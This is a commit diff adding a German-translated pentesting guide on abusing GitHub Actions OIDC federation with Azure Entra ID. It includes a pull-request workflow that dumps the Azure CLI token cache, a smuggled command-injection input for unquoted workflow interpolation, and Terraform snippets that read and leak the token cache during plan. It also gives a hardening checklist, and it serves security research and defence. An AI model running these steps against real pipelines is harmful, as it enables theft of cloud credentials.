Translated ['src/pentesting-ci-cd/github-security/abusing-github-actions

This commit is contained in:
Translator
2025-09-29 23:25:18 +00:00
parent e49d038938
commit 08449464ba
2 changed files with 331 additions and 101 deletions

View File

@@ -0,0 +1,227 @@
# Azure Federation Abuse (GitHub Actions OIDC / Workload Identity)
{{#include ../../../banners/hacktricks-training.md}}
## Übersicht
GitHub Actions kann über OpenID Connect (OIDC) mit Azure Entra ID (früher Azure AD) föderieren. Ein GitHub-Workflow fordert ein kurzlebiges GitHub ID token (JWT) an, das Details zum Run kodiert. Azure validiert dieses Token gegen ein Federated Identity Credential (FIC) in einer App Registration (service principal) und tauscht es gegen Azure access tokens (MSAL cache, bearer tokens für Azure APIs).
Azure validiert mindestens:
- iss: https://token.actions.githubusercontent.com
- aud: api://AzureADTokenExchange (when exchanging for Azure tokens)
- sub: muss mit dem konfigurierten FIC Subject identifier übereinstimmen
> Der standardmäßige GitHub aud kann eine GitHub-URL sein. Beim Austausch mit Azure sollte explizit audience=api://AzureADTokenExchange gesetzt werden.
## GitHub ID token quick PoC
```yaml
name: Print OIDC identity token
on: { workflow_dispatch: {} }
permissions:
id-token: write
jobs:
view-token:
runs-on: ubuntu-latest
steps:
- name: get-token
run: |
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL")
# Base64 avoid GitHub masking
echo "$OIDC_TOKEN" | base64 -w0
```
Um die Azure-Audience bei der Token-Anfrage zu erzwingen:
```bash
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange")
```
## Azure-Einrichtung (Workload Identity Federation)
1) Erstellen Sie eine App Registration (service principal) und gewähren Sie die geringsten Berechtigungen (z. B. Storage Blob Data Contributor für ein bestimmtes Storage-Konto).
2) Fügen Sie Federated identity credentials hinzu:
- Issuer: https://token.actions.githubusercontent.com
- Audience: api://AzureADTokenExchange
- Subject identifier: eng auf den vorgesehenen Workflow/Run-Kontext begrenzt (siehe Scoping and risks weiter unten).
3) Verwenden Sie azure/login, um das GitHub ID-Token auszutauschen und sich bei der Azure CLI anzumelden:
```yaml
name: Deploy to Azure
on:
push: { branches: [main] }
permissions:
id-token: write
contents: read
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- name: Az CLI login
uses: azure/login@v2
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
- name: Upload file to Azure
run: |
az storage blob upload --data "test" -c hmm -n testblob \
--account-name sofiatest --auth-mode login
```
Beispiel für einen manuellen Austausch (Graph-Scope gezeigt; ARM oder andere Ressourcen ähnlich):
```http
POST /<TENANT-ID>/oauth2/v2.0/token HTTP/2
Host: login.microsoftonline.com
Content-Type: application/x-www-form-urlencoded
client_id=<app-client-id>&grant_type=client_credentials&
client_assertion=<GitHub-ID-token>&client_info=1&
client_assertion_type=urn%3Aietf%3Aparams%3Aoauth%3Aclient-assertion-type%3Ajwt-bearer&
scope=https%3a%2f%2fgraph.microsoft.com%2f%2f.default
```
## GitHub OIDC subject (sub) Aufbau und Anpassung
Default sub format: repo:<org>/<repo>:<context>
Kontextwerte umfassen:
- environment:<env>
- pull_request (PR triggers when not in an environment)
- ref:refs/(heads|tags)/<name>
Nützliche Claims, die häufig im Payload enthalten sind:
- repository, ref, ref_type, ref_protected, repository_visibility, job_workflow_ref, actor
Passe die sub-Zusammensetzung über die GitHub API an, um zusätzliche Claims aufzunehmen und das Kollisionsrisiko zu verringern:
```bash
gh api orgs/<org>/actions/oidc/customization/sub
gh api repos/<org>/<repo>/actions/oidc/customization/sub
# Example to include owner and visibility
gh api \
--method PUT \
repos/<org>/<repo>/actions/oidc/customization/sub \
-f use_default=false \
-f include_claim_keys='["repository_owner","repository_visibility"]'
```
Hinweis: Doppelpunkte in Umgebungsnamen sind URLkodiert (%3A), wodurch ältere DelimiterInjectionTricks beim subParsing entfernt werden. Die Verwendung nichteindeutiger subjectWerte (z. B. nur environment:<name>) bleibt jedoch unsicher.
## Umfang und Risiken der FIC-Subject-Typen
- Branch/Tag: sub=repo:<org>/<repo>:ref:refs/heads/<branch> or ref:refs/tags/<tag>
- Risiko: Wenn der Branch/Tag ungeschützt ist, kann jeder Contributor pushen und Tokens erhalten.
- Environment: sub=repo:<org>/<repo>:environment:<env>
- Risiko: Ungeschützte Environments (keine Reviewer) erlauben es Contributors, Tokens zu erzeugen.
- Pull request: sub=repo:<org>/<repo>:pull_request
- Höchstes Risiko: Jeder Collaborator kann einen PR öffnen und die FICBedingung erfüllen.
PoC: PRtriggered token theft (exfiltrate the Azure CLI cache written by azure/login):
```yaml
name: Steal tokens
on: pull_request
permissions:
id-token: write
contents: read
jobs:
extract-creds:
runs-on: ubuntu-latest
steps:
- name: azure login
uses: azure/login@v2
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
- name: Extract access token
run: |
# Azure CLI caches tokens here on Linux runners
cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0
# Decode twice locally to recover the bearer token
```
Zugehörige Dateipfade und Hinweise:
- Linux/macOS: ~/.azure/msal_token_cache.json enthält MSAL-Token für az CLI-Sitzungen
- Windows: msal_token_cache.bin im Benutzerprofil; DPAPI-geschützt
## Wiederverwendbare Workflows und job_workflow_ref-Scoping
Das Aufrufen eines wiederverwendbaren Workflows fügt job_workflow_ref dem GitHub ID token hinzu, z. B.:
```
ndc-security-demo/reusable-workflows/.github/workflows/reusable-file-upload.yaml@refs/heads/main
```
FIC-Beispiel, um sowohl das caller repo als auch den reusable workflow zu binden:
```
sub=repo:<org>/<repo>:job_workflow_ref:<org>/<reusable-repo>/.github/workflows/<file>@<ref>
```
Konfiguriere claims im caller repo, sodass sowohl repo als auch job_workflow_ref im sub vorhanden sind:
```http
PUT /repos/<org>/<repo>/actions/oidc/customization/sub HTTP/2
Host: api.github.com
Authorization: token <access token>
{"use_default": false, "include_claim_keys": ["repo", "job_workflow_ref"]}
```
Warnung: Wenn du nur job_workflow_ref im FIC bindest, könnte ein Angreifer ein anderes repo in derselben org erstellen, denselben reusable workflow auf demselben ref ausführen, das FIC erfüllen und Tokens minten. Schließe stets auch das caller repo ein.
## Vektoren zur Codeausführung, die den job_workflow_ref-Schutz umgehen
Selbst mit korrekt eingeschränktem job_workflow_ref können alle vom caller kontrollierten Daten, die ohne sicheres Quoting in die shell gelangen, zur Codeausführung innerhalb des geschützten Workflow-Kontexts führen.
Beispiel für einen verwundbaren reusable step (ungequotete Interpolation):
```yaml
- name: Example Security Check
run: |
echo "Checking file contents"
if [[ "${{ inputs.file_contents }}" == *"malicious"* ]]; then
echo "Malicious content detected!"; exit 1
else
echo "File contents are safe."
fi
```
Bösartige Eingabe durch einen Caller, um Befehle auszuführen und den Azure Token-Cache zu exfiltrieren:
```yaml
with:
file_contents: 'a" == "a" ]]; then cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0; fi; if [[ "a'
```
## Terraform plan als Ausführungsprimitive in PRs
Behandle terraform plan als Codeausführung. Während des plan-Vorgangs kann Terraform:
- Beliebige Dateien lesen über Funktionen wie file()
- Befehle ausführen über die external data source
Beispiel, um den Azure token cache während des plan zu exfiltrate:
```hcl
output "msal_token_cache" {
value = base64encode(base64encode(file("/home/runner/.azure/msal_token_cache.json")))
}
```
Oder verwende external, um beliebige Befehle auszuführen:
```hcl
data "external" "exfil" {
program = ["bash", "-lc", "cat ~/.azure/msal_token_cache.json | base64 -w0 | base64 -w0"]
}
```
Die Gewährung von FICs, die in PRausgelösten plans verwendbar sind, legt privilegierte Tokens offen und kann später zu zerstörerischen applyVorgängen führen. Trenne Identitäten für plan vs apply; erlaube niemals privilegierte Tokens in nicht vertrauenswürdigen PRKontexten.
## Härtungs-Checkliste
- Never use sub=...:pull_request for sensitive FICs
- Schütze jeden Branch/Tag/Environment, der/das von FICs referenziert wird (branch protection, environment reviewers)
- Prefer FICs scoped to both repo and job_workflow_ref for reusable workflows
- Passe den GitHub OIDC sub an, um eindeutige Claims einzuschließen (z. B. repo, job_workflow_ref, repository_owner)
- Eliminiere nicht in Anführungszeichen gesetzte Interpolation von Aufrufer-Eingaben in runSchritten; sichere Kodierung/Quotierung
- Behandle terraform plan als Codeausführung; beschränke oder isoliere Identitäten in PRKontexten
- Durchsetze Least Privilege bei App Registrations; separate Identitäten für plan vs apply
- Pin actions und reusable workflows auf CommitSHAs (vermeide Branch/TagPins)
## Tipps für manuelle Tests
- Request a GitHub ID token inworkflow and print it base64 to avoid masking
- Dekodiere das JWT, um Claims zu prüfen: iss, aud, sub, job_workflow_ref, repository, ref
- Manually exchange the ID token against login.microsoftonline.com to confirm FIC matching and scopes
- Nach azure/login, lies ~/.azure/msal_token_cache.json, um das Vorhandensein von TokenMaterial zu verifizieren
## References
- [GitHub Actions → Azure via OIDC: weak FIC and hardening (BinarySecurity)](https://binarysecurity.no/posts/2025/09/securing-gh-actions-part2)
- [azure/login action](https://github.com/Azure/login)
- [Terraform external data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/external)
- [gh CLI](https://cli.github.com/)
- [PaloAltoNetworks/github-oidc-utils](https://github.com/PaloAltoNetworks/github-oidc-utils)
{{#include ../../../banners/hacktricks-training.md}}